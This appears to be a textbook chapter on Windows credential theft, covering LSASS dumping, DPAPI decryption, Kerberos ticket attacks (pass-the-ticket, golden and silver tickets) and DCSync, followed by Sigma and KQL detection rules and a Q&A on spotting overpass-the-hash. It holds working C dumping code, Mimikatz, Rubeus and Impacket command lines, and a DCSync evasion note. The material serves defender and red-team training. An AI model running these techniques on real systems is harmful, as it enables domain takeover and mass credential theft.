Chapter 207

Credential Theft Techniques

Credential theft converts a foothold into durable, reusable access. Plaintext passwords from WDigest caches are gone on modern Windows; the modern attack surface is NTLM hashes from LSASS (pass-the-hash), Kerberos TGTs (overpass-the-hash), DPAPI master keys (browser/app credentials), and Active Directory replication rights (DCSync). Each technique has a distinct detection signature that detection engineers are explicitly tested on.

Scenario

You have SYSTEM on a domain-joined workstation. The domain admin has recently logged in interactively, leaving a cached TGT in LSASS. Your goal: extract the TGT, forge a pass-the-ticket session, and perform DCSync against the DC to retrieve all domain NTLM hashes for offline cracking — without touching disk with Mimikatz.

LSASS Credential Extraction

LSASS MEMORY LAYOUT — WHERE CREDENTIALS LIVE ═══════════════════════════════════════════════════════════════════════ lsass.exe (PID X, SYSTEM, high IL) ├── lsasrv.dll — LogonSessionList: linked list of LSUID_SESSION entries │ Each entry has: NT hash (RC4-encrypted in memory, key in lsasrv globals) │ Kerberos keys (DES, RC4, AES) ├── kerberos.dll — Kerberos ticket cache (KerbLogonSessionTable) │ Each entry: TGT, service tickets, session key, expiry ├── msv1_0.dll — MSV cache: NT hash + LM hash (if pre-2k12 domain) └── wdigest.dll — WDigest: plaintext if UseLogonCredential=1 (disabled default since 2014) EXTRACTION METHODS: 1. MiniDump via MiniDumpWriteDump() API → dump file → offline parse with pypykatz 2. Direct LSASS memory read via NtReadVirtualMemory (same effect, no dump file) 3. comsvcs.dll RoundRound dump trick → no WriteProcessMemory, LOLbin 4. Nanodump (shellcode-based): MinidumpCallback only, no explicit LSASS handle 5. PPL bypass → elevate LSASS to Protected Process Light → bypass with driver/exploit ═══════════════════════════════════════════════════════════════════════
// Method 1: MiniDump via Win32 API (noisy but reliable)
BOOL DumpLsass(LPCWSTR outputPath) {
    DWORD lsassPid = FindProcessByName(L"lsass.exe");
    HANDLE hProc   = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
                                  FALSE, lsassPid);
    if (!hProc) return FALSE;
    HANDLE hFile   = CreateFileW(outputPath, GENERIC_WRITE, 0, NULL,
                                  CREATE_ALWAYS, 0, NULL);
    // MiniDumpWriteDump generates full memory dump parseable by Mimikatz offline
    typedef BOOL (WINAPI* pMDWD)(HANDLE,DWORD,HANDLE,MINIDUMP_TYPE,PMINIDUMP_EXCEPTION_INFORMATION,PMINIDUMP_USER_STREAM_INFORMATION,PMINIDUMP_CALLBACK_INFORMATION);
    pMDWD MiniDumpWriteDump = (pMDWD)GetProcAddress(
        GetModuleHandleW(L"dbghelp.dll"), "MiniDumpWriteDump");
    BOOL ok = MiniDumpWriteDump(hProc, lsassPid, hFile,
        (MINIDUMP_TYPE)(MiniDumpWithFullMemory|MiniDumpIgnoreInaccessibleMemory),
        NULL, NULL, NULL);
    CloseHandle(hFile); CloseHandle(hProc); return ok;
}

// Method 2: comsvcs.dll LOLbin — no separate binary needed
// powershell:
// $p = Get-Process lsass
// rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $p.id C:\Windows\Temp\out.dmp full

// Offline parse with pypykatz (no LSASS process needed):
// pypykatz lsa minidump out.dmp
// → dumps NT hashes, Kerberos keys, cached domain credentials

DPAPI Credential Decryption

// DPAPI: Windows encrypts per-user secrets with master keys derived from user password.
// Master key files: %APPDATA%\Microsoft\Protect\{SID}\{GUID}
// Master key decryption requires: user password hash (from LSASS or DC) + domain backup key
//
// Browser credential decryption (Chromium):
// Local State JSON → "os_crypt.encrypted_key" → base64 decode → strip "DPAPI" prefix
// → CryptUnprotectData() decrypts the AES-256 key (requires running as that user)
// → AES-256-GCM decrypt Login Data SQLite entries

#include 
BOOL DpapiDecrypt(const BYTE* ciphertext, DWORD cipherLen,
                  BYTE** plaintext, DWORD* plainLen) {
    DATA_BLOB inBlob  = { cipherLen, (BYTE*)ciphertext };
    DATA_BLOB outBlob = {0};
    // CRYPTPROTECT_UI_FORBIDDEN = no popup; requires running as the user who encrypted
    if (!CryptUnprotectData(&inBlob, NULL, NULL, NULL, NULL,
                             CRYPTPROTECT_UI_FORBIDDEN, &outBlob))
        return FALSE;
    *plaintext = outBlob.pbData;
    *plainLen  = outBlob.cbData;
    return TRUE;
}

// Domain DPAPI backup key extraction (offline, from DC — requires DA):
// SharpDPAPI: SharpDPAPI backupkey → exports domain DPAPI backup RSA key
// Any user's master keys can then be decrypted offline with the backup key.
// Mimikatz: dpapi::backupkeys /system:dc01 /export

Kerberos Ticket Theft and Pass-the-Ticket

// Kerberos ticket theft via LSASS:
// Rubeus: Rubeus.exe dump /service:krbtgt /nowrap  → base64 Kerberos tickets
// Mimikatz: sekurlsa::tickets /export → .kirbi files per ticket

// Pass-the-Ticket:
// Inject ticket into current logon session without needing cleartext password.
// Rubeus: Rubeus.exe ptt /ticket:BASE64TICKET
// Mimikatz: kerberos::ptt ticket.kirbi

// Overpass-the-Hash (Pass-the-Key):
// Have NTLM hash or Kerberos AES key → request TGT directly from KDC.
// Rubeus: Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /domain:corp.local /ptt
//         → requests TGT using RC4-HMAC (uses NT hash as Kerberos session key)
//         → injects TGT into process → access DC resources without password

// Golden Ticket (offline, needs domain SID + krbtgt hash):
// krbtgt hash from DCSync (see below) → forge arbitrary TGT for any user
// Mimikatz: kerberos::golden /user:fakeadmin /domain:corp.local
//           /sid:S-1-5-21-XXXX /krbtgt:KRBTGT_NTLM_HASH /ptt
// Ticket valid for 10 years by default; forged PAC claims any group membership

// Silver Ticket (service-specific, only needs service account hash):
// kerberos::silver /user:fakeadmin /domain:corp.local /sid:S-1-5-21-XXXX
//           /target:dc01.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt
// Bypasses DC entirely — service validates ticket with its own key, no DC contact

DCSync Attack

// DCSync: impersonate a domain controller to request credential replication.
// Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights.
// Default holders: Domain Admins, Enterprise Admins, Domain Controllers, SYSTEM.
//
// Mechanism: DsGetNCChanges() DRSR RPC call to the real DC.
// DC responds with NTDS.dit hashes as if to a replicating DC partner.
//
// Mimikatz: lsadump::dcsync /domain:corp.local /all /csv
// Impacket: secretsdump.py corp.local/admin:password@dc01.corp.local
//           → dumps all NTLM hashes from NTDS.dit remotely, no local access to DC needed

// Mimikatz programmatic DCSync call sketch (Win32):
// 1. Bind to DC via RpcBindingFromStringBindingW with ncacn_ip_tcp endpoint
// 2. Call DsGetNCChangesW(hDrs, 1, &msgIn, &pcbMsgOut, &pmsgOut)
//    where msgIn.V8.pUpToDateVecDest = NULL (request all objects)
// 3. Parse pmsgOut.V6.pObjects for ATTR_UNICODE_PWD (NT hash) and
//    ATTR_SUPPLEMENTAL_CREDENTIALS (AES keys)
// Simplified: Rubeus and Impacket wrap this complexity.

// Detection evasion: perform DCSync from a non-DC host with a compromised
// account that has been granted replication rights (rare but seen in red team ops)
// or via a Golden Ticket that impersonates the DC computer account.

Detection Engineering

title: LSASS Memory Access — Credential Dumping
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10  # ProcessAccess
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'   # PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
      - '0x1410'
      - '0x143a'
  filter_legit:
    SourceImage|contains:
      - '\MsMpEng.exe'
      - '\csrss.exe'
  condition: selection and not filter_legit
level: critical
tags: [attack.credential_access, T1003.001]

title: DCSync — MS-DRSR Replication from Non-DC Host
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: '%{19195a5b-6da0-11d0-afd3-00c04fd930c9}'  # domainDNS
    Properties|contains:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
  filter_dc:
    SubjectUserName|endswith: '$'  # exclude DC computer accounts
  condition: selection and not filter_dc
level: critical
tags: [attack.credential_access, T1003.006]

-- MDE KQL: LSASS opened with VM_READ by non-system process
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| extend flags = tolong(AdditionalFields.AccessRights)
| where flags has_any ("16","4096","5186")  // VM_READ bitmask
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","csrss.exe","WerFault.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine

-- MDE KQL: Kerberos AS-REQ with RC4 encryption (overpass-the-hash indicator)
IdentityLogonEvents
| where Protocol == "Kerberos"
| where EncryptionType == "RC4-HMAC"
| where ActionType == "LogonSuccess"
| where AccountName !endswith "$"
| summarize count() by AccountName, DeviceName, bin(Timestamp, 1h)

Q&A

Why does the "overpass-the-hash" (AS-REQ with RC4) technique produce a detectable Kerberos event even though no LSASS access is required for the ticket request itself, and what specific event data makes it distinctive?

Overpass-the-hash works by using an account's NT hash directly as a Kerberos RC4-HMAC session key in a Kerberos AS-REQ (Authentication Service Request). The NT hash is identical to the MD4 of the user's password, and Kerberos RC4-HMAC uses the same MD4 hash as the key derivation input — so anyone with the NT hash can construct a valid AS-REQ without knowing the plaintext password.

The detectable signature is the choice of encryption type. Domain controllers enforce a strong encryption type policy in modern environments (AES256-CTS-HMAC-SHA1 by default since Windows Server 2012). A legitimate Windows workstation that performs Kerberos authentication uses AES-256 (etype 18) for the AS-REQ unless the domain still supports RC4 fallback. An attacker using overpass-the-hash with an NT hash requests AES encryption if they have the AES key, but if they only have the NT hash (the common post-dump state), they request RC4-HMAC (etype 23) even when the account supports AES — because the NT hash cannot be used to derive an AES key without additional material (a salt derived from the username and domain).

The detection pivot is: AS-REQ with etype 23 (RC4-HMAC) for a user account whose workstation is configured to use AES. Event 4768 on the Domain Controller records the encryption type. Comparing etype 23 AS-REQs from non-computer accounts (computer accounts legitimately use RC4 in some scenarios) against a baseline provides a high-fidelity signal. The UEBA extension is: the same account recently had RC4 AS-REQs from a workstation it has never authenticated from before, combined with lateral movement within the same time window.